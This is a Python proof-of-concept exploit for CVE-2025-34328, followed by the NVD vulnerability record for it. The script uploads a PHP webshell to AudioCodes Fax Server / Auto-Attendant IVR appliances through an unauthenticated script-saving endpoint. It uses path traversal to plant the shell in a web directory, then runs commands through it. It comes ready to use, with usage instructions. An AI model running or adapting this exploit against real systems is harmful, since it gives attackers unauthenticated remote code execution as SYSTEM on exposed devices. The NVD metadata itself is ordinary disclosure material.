CVE-2025-34328

import requests import sys # CVE-2025-34328 PoC - Unauthenticated File Upload to RCE # Target: AudioCodes Fax Server / Auto-Attendant IVR def exploit(target_url, lhost, lport): """ Exploit for CVE-2025-34328 AudioCodes Fax Server unauthenticated file upload leading to RCE """ # Step 1: Upload malicious PHP webshell via ajaxScript.php upload_url = f"{target_url}/AudioCodes_files/utils/IVR/diagram/ajaxScript.php" # PHP webshell payload webshell = f"<?php system($_GET['cmd']); ?>" # Construct the saveScript request files = { 'action': (None, 'saveScript'), 'scriptContent': (None, webshell), 'scriptPath': (None, '../../images/shell.php') } print(f"[*] Uploading webshell to {upload_url}...") try: response = requests.post(upload_url, files=files, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") except Exception as e: print(f"[!] Upload failed: {e}") return False # Step 2: Execute the uploaded webshell shell_url = f"{target_url}/images/shell.php" print(f"[*] Executing webshell at {shell_url}...") cmd = f"whoami" try: exec_url = f"{shell_url}?cmd={cmd}" response = requests.get(exec_url, timeout=10) print(f"[*] Command output: {response.text.strip()}") except Exception as e: print(f"[!] Execution failed: {e}") return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target, "0.0.0.0", "4444")

{"cve": {"id": "CVE-2025-34328", "sourceIdentifier": "[email protected]", "published": "2025-11-19T17:15:47.420", "lastModified": "2025-12-12T16:10:36.253", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "AudioCodes Fax Server and Auto-Attendant IVR appliances versions up to and including 2.6.23 include a web administration component (F2MAdmin) that exposes an unauthenticated script-management endpoint at AudioCodes_files/utils/IVR/diagram/ajaxScript.php. The saveScript action writes attacker-supplied data directly to a server-side file path under the privileges of the web service account, which runs as NT AUTHORITY\\\\SYSTEM on Windows deployments. A remote, unauthenticated attacker can write arbitrary files into the product’s web-accessible directory structure and subsequently execute them."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:audiocodes:fax_server:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.6.23", "matchCriteriaId": "A325B684-937A-4AE9-A8B2-235ADB2D1932"}, {"vulnerable": true, "criteria": "cpe:2.3:a:audiocodes:interactive_voice_response:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.6.23", "matchCriteriaId": "131420AA-FE49-42FC-A8EC-50C5EB40D3A3"}]}]}], "references": [{"url": "https://pierrekim.github.io/advisories/2025-audiocodes-fax-ivr.txt", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://pierrekim.github.io/blog/2025-11-20-audiocodes-fax-ivr-8-vulnerabilities.html", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.audiocodes.com/media/g1in2u2o/0548-product-notice-end-of-service-for-audiocodes-auto-attendant-ivr-solution.pdf", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/audiocodes-fax-ivr-appliance-unauthenticated-file-upload-rce-via-ajaxscript", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}